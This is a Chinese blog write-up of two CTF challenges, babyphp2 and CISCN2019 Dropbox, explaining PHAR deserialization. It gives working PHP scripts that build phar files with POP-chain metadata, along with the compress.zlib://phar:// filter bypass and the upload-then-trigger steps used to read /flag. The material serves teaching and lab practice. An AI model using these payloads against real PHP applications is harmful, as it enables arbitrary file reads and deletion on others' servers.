极客巅峰 2020 babyphp2(phar反序列化)

[代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar 前言:我要当赛棍!!! 文章目录序列化与反序列化基本介绍PHP反序列化漏洞原理常用的魔法函数__wakeup()绕过:CVE-2016-7124__set:巅峰极客babyphp2bypass phar:// 不能出现在首部本题关键源码Phar利用参考文章 序列化与反序列化 基本介绍 序列化是将变量转换为可保存或传输字符串的过程 反序列化就是在适当的时候把这个字符串再转化成之前的变量来使用 php进行序列化的目的是保存一个对象方便以后重用 php提供了serialize和unserialize函数用以进行 阅读详情


前言

这题比赛的时候,我一脸懵逼,大佬提示才知道源码泄露。但是之前没做过 phar 反序列化的题,二脸懵逼。还好源码没删,自己搭建了环境,看着大佬们的wp复现一番。点击打开题目 最近学的 docker,不熟练,问题不断,如果环境有问题随时联系我, VPS 20年12月10号过期,望见谅。


一、什么是 phar 反序列化

利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。phar简介


下面参考Tr0jAn大佬的文章

1.三个条件

  1. 可以上传 phar 文件
  2. 有可以利用的魔术方法
  3. 文件操作函数参数可控

2.生成 phar 文件的常见代码

 $phar = new Phar("phar.phar");

生成 phar 文件,文件名任意,但是扩展名必须是 phar,生成之后可以任意更改

 $phar->startBuffering();
 $phar->stopBuffering();

不是很明白什么意思,仅仅认识 start 和 stop 两个单词,大概是对 phar 对象的操作都在这中间,类似于 打开文件流—>操作文件—>关闭文件流??

$phar->setStub("<?php __HALT_COMPILER(); ?>");

如名,设置 stub,php 以 __HALT_COMPILER(); 来识别 phar ,前面可以有任意数据,php 仅从此开始识别

$phar ->addFromString('test.txt','test'); 

不是很懂这个到底什么用,但是我看了每份代码都有,而且 test.txt 并不一定需要存在

$c = new test();
$phar -> setMetadata($c);  //将自定义 meta-data 存入 manifest

这是重点,$c 将以序列化的形式保存在 phar 文件中
phar文件

二、题目分析

下载源码

源码在 web 目录下的 www.zip 中,直接访问下载源码
在这里插入图片描述

classes.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

首先是 Reader 类,看到 file_get_contents() 可以想到文件读取,利用 read方法 中的 file_get_contents() 读取 phar 文件,反序列化后执行 __set() 中的 file_get_contents() 读取 flag

那么问题就变成了如何执行 __set() 方法

这时候看 User 类中的 __toString() 方法 ,里面有这么一句$this->nickname->backup=$this->backup; 给类对象一个私有属性或不存在的属性赋值时,如果存在 __set() 方法,那么就会执行该方法

__set() 类似的还有
__get(),调用私有属性或不存的属性时,执行该方法
__call() ,如果调用的方法不存在时,就会执行该方法

那么就好办了,只要执行 User 类的 __toString() 方法,并将 $bickup 赋值为 /flag 就能得到 flag

那么如何执行 __toString() 呢? 可以看到 dbCtrl 类,中有个 echo ,如果能 echo 类的对象,就能触发类中的 __toString() 方法,所以将 dbCtrl 类中的 token 属性赋值为 User 类的对象,那么就大功告成了

能触发 __toString() 的有 echo print printf 等,
var_dump print_r 等则不能触发

生成 phar 文件

来自Tr0jAn大佬,这应该已经是最简洁的了,我就不献丑了吧

<?php
Class Reader{}
Class User{
    public $nickname;
    public $backup="/flag";
}
class dbCtrl{
    public $token;
}
$a = new Reader();
$b = new User();
$b->nickname = $a;
$c = new dbCtrl();
$c->token = $b;

$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件
$phar -> setMetadata($c);  //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();

将 php.ini 中 phar.readonly 的值改为 Off ,去掉前面的注释符 ‘;’,即 phar.readonly=Off,运行该代码,可生成 phar 文件,将扩展名改为 gif,如图
phar文件

执行反序列化

在源码泄露中,还可以看到 web 下有 upload 页面和 read 页面
upload 中就一些简单的过滤,绕过已经在前面做了,不是重点
主要看 read,read 中调用了 classes.php 中的 Reader 类的 read() 方法,对传入的 $filename 值进行了过滤,可以看到,$filename 不能以 phar 开头

但是可以使用 compress.zlib://phar:// 去访问 phar 文件
在这里插入图片描述
在 upload.php 上传文件得到路径
在这里插入图片描述
在 read.php 读取 phar.gif,得到 flag

在这里插入图片描述

三、趁热打铁(buu [CISCN2019 华北赛区 Day1 Web1])

任意文件读取

注册登陆,来到一个文件上传的页面,随便上传一个文件,出现了文件列表,并提供了 下载删除 操作

联想到任意文件读取,点击 下载 并抓包,如图更改 filename 的值,读取 index.php
在这里插入图片描述
根据提示,继续读取 class.php 以及 download.php 和 delete.php

class.php

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

File 类的 close() 方法存在敏感函数,file_get_contents($this->filename),查看一下哪里调用了 close()

在这里插入图片描述
在User类的魔术方法 __destruct() 中
在这里插入图片描述
容易想到

创建 File 类的对象,并将 filename 赋为 /flag.txt,然后创建一个 User 类的对象,将 File 的对象赋给 User 的属性 db

乍一想,好像没毛病,但是会发现没有任何回显,因为虽然虽然得到了文件内容,但是并没有输出函数将它输出,

继续分析 class.php,看到 FileList 类有个魔术方法 __call(),刚好$this->db->close();可以触发该魔术方法

在这里插入图片描述
FileList 类的另一个魔术方法 __destruct(),存在 class.php 中的唯一输出
在这里插入图片描述
代码比较多,整体分析一下 FIleList 类
先看__construct()
在这里插入图片描述
__construct() 的重点在创建了一个一维数组和一个二维数组,其中 files 存的是 属性filename被赋值了的File类 ,理清楚 FileList 的属性是什么类型之后再看 __call() 方法就很简单了
在这里插入图片描述
注释中写得很清楚,如果 $func 是 close,$filename 是 /flag.txt 的话会发生什么呢,结果已经显而易见了

再来看看 __destruct()
在这里插入图片描述
可以看到,他最终会显示二维数组 results 的值,而 results 的值根据前面分析应该是 $func($filename) 的结果

生成 phar 文件

<?php

class User {
    public $db;
}

class FileList {
    private $files=array();
	function __construct(){
		$file = new File();
		array_push($this->files,$file);
	}
}

class File {
    public $filename = '/flag.txt';
}

$user = new User();
$filelist = new FileList();

$user->db = $filelist;

$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar ->addFromString('test.txt','test'); 
$phar -> setMetadata($user); 
$phar -> stopBuffering();
rename('Phar.phar','Phar.gif');

?>

get flag

可以看到 delete.php 调用了 File 类的 delete() 方法,而 delete() 方法使用了 unlink() 函数,该函数可以可用来执行 phar 反序列化,参考之前提到的这篇文章 phar简介
在这里插入图片描述

在这里插入图片描述
上传生成文件的 phar 文件,点击 删除 选项并抓包,修改 filename 如下,成功返回 flag
在这里插入图片描述

四、总结

其实和普通的反序列化也没什么区别,不过要以 phar 文件为踏板,达到反序列化的目的,关键是要能上传和用 phar 协议访问 phar 文件

萌新一个,望大佬们多多指点

[CISCN2019 华北赛区 Day1 Web1]Dropbox详解 [CISCN2019 华北赛区 Day1 Web1]Dropbox 一、知识点:信息搜集,Phar反序列化 phar知识点分析 phar文件的结构主要分为四个部分: stub phar文件的表示,类似于gif文件的GIF89a,以 xxx<?php xxx;__HALT__COMPILER();?>为固定形式,前面内容可以变,点必须以__HALT__COMPILER();?>结尾。 2. a mainfest describing the contents 该部分是phar... 阅读详情

相关推荐

Phar反序列化详细总结

phar协议,phar.phar包,和保存在phar包中的文件test.txt。被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化。有file_exists(),fopen(),file_get_contents(),file()等文件操作的函数。Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(当文件操作函数通过。,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要。

2301_76690905的博客 638

Phar反序列化

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发 phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。 Phar需要 PHP >= 5.2 在php.ini中将phar.readonly设为Off(注意去掉前面的分号) phar文件的结构 stub:phar文件的标志,必须以.

xiaolong22333的博客 2819

记一道CTF题babyphp之学习代码注入

0x00写在前面的话 最近打算刷刷CTF题目,提升一下自身的见识面,这里碰到了一个代码注入的题目特作记录,大牛勿喷。。。 0x01做题的整体思路 做题的地址,http://web.jarvisoj.com:32798/ 打开地址,随机点击发现都是展示对应的界面,做过开发的我,直觉告诉我应该是传入一个字符串展示对应页面,这样我随机点了一下,发现about里面有

xiaotaode2012的专栏 5620

2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞

Soap+CLRF组合拳造成SSRF漏洞以及例题2022安洵杯 BabyPHP、[LCTF 2018]bestphp's revenge。

Aiwin的博客 3027

Phar 文件上传以及反序列化

2步:把生成的exp.phar,改成exp.zip(题目白名单过滤)然后通过文件上传功能点上传。2.phar://伪协议 是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压。第3步:访问 图片路径/test.php (由于题目会加php后缀,则文件包含的时候不用加)首先生成上传phar文件(改后缀为jpg绕过检测)(1)不涉及反序列化,文件上传+文件包含 上传。首先构造phar文件 ,然后上传。5.关闭readonly模式。1、能将phar文件上传。将 phar 文件使用。

十一.的博客 1179

2022 安询杯 Babyphp

第五届 安询杯 Babyphp

m0_64815693的博客 2648

babyphp反序列化pop链,字符逃逸)

题目在BBUCTF有复现,但代码里dbuser,dbpass,database有修改https://buuoj.cn/challenges#[GYCTF2020]Easyphp 扫描目录发现www.zip源码泄露,下载审计 在Update.php看到 即登录成功就获取flag 看了下login.php,感觉登录框这里是做不了什么文章了 主要的内容都是在lib.php 根据Update.php里...

weixin_43610673的博客 1949

i春秋2020新春疫战 非SQL题目解析

Ezupload 这道题目可能是师傅的失误,在上传后缀名过滤的数组中有一些失误~~ 导致直接上传php马,得到flag~~ 这儿贴一下上传shell查看的源码 <?php error_reporting(0); header("Content-type: text/html; charset=utf-8"); $sandbox='sandbox/'.md5($_SERVER['remote_...

a3320315的博客 1347

CTF_Web长征路细刷题笔记

文件包含一、2018 XCTF FINALS —— babyphp二、 一、2018 XCTF FINALS —— babyphp 0x01信息收集 打开环境可以看到几个关键点,首先便是看到有两个可控变量 1: $_GET[‘function’] 执行函数 2: $_POST[‘name’] 可控制session值内容 其次又看到include($file);存在文件包含,ini_set限定了文件包含目录 最后可见call_user_func($func,$_GET)这个函

Mark的博客 4689

php竞赛,京津冀大学生竞赛:babyphp

京津冀大学生竞赛:babyphp比赛的时候没作出来,回来之后一会就作出来了,难受。。。仍是基本功不扎实,都不记得__invoke怎么触发的了php放上源码函数error_reporting(1);class Read {public $var;public function file_get($value){$text = base64_encode(file_get_contents($valu...

weixin_39884738的博客 275

Baby PHP - hacklu CTF 2018

代码审计

stepone4ward的博客 1613

PHAR反序列化

在C1e4r中,echo可以触发_toString,destruct在变量摧毁时会自动触发,所以就形成完整的pop链C1e4r::_destruct->Show::_toString->Test::file_get()将生成的phar文件上传成功后,使用phar协议读取文件,在使用phar伪协议解析时,php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化。明显存在php反序列化 ,构造poc后,生成phar文件,将phar文件上传之后再通过post来cat flag。

weixin_74020633的博客 1444

[NCTF2019]phar matches everything

文章目录信息搜集、验证利用条件信息搜集查看WP漏洞利用构造phar文件绕过简单检查Poc 信息搜集、验证利用条件 ####验证利用条件   phar反序列化漏洞的三个条件:可以上传文件。可以执行命令的魔法函数。可以解析phar的函数,并且参数可控。   (1)条件一:上传文件到服务端,满足。   (2)可控参数和解析函数,通过前端代码找到catchmime.php的post参数name,可以访问服务器文件,满足。   (3)可执行的类、以及魔法函数,缺失信息。 信息搜集   dirsearch进行目录扫描

soldi_er的博客 1159

深入浅出带你了解PHAR反序列化

今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。接下来我将给各位同学划分一张学习计划表!

qq_44005305的博客 1200

nkctf——baby_php

简单的记录一下

weixin_73668856的博客 683

【无标题】

进行代码审计:包含flag.php文件。四个if语句分别对ABC进行了限制。isset函数,要有post传参a,正则匹配0-9,intval函数。&&!不是一个整体的逻辑运算符,它们是两个运算符&&和!。&&是一个逻辑运算符,当两边都为true的时候那个表达式才为真。但是,&&具有一个短路功能,即如果第一个表达式为false,则不再计算第二个表达式。!是非运算i < n &&!found可以看成(i<n)&&(!found)。当i<n为真且!found为真时这个表达式才为真。

2301_79880442的博客 1160

[LCTF]bestphp&2022安洵杯 babyphp

CTF一些个session反序列化+SoapClient触发ssrf的例题

weixin_63231007的博客 2045
上一篇: 通过一道CTF题,学习pillow模块切割、合并图片
下一篇: 总结ctf中 MD5 绕过的一些思路
yจุ๊บng
博客等级 码龄7年 54粉丝 24原创
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值